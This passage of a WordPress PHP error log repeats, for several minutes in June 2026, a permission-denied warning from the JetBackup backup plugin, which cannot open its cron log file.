/home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:48:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:49:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:50:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:50:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:50:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:50:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:50:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:51:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:52:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:52:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:52:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:52:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:52:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:53:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:54:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:54:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:54:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:54:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:54:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:55:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:56:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:57:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:57:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:57:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:57:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:48 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:58:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:38 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 19:59:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:49 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:00:59 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:27 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:01:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:02:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:02:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:02:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:02:39 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:02:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:03:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:04:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:04:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:04:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:04:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:05:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:06:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:07:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:08:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:09:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:10:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 20:11:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [05-Jun-2026 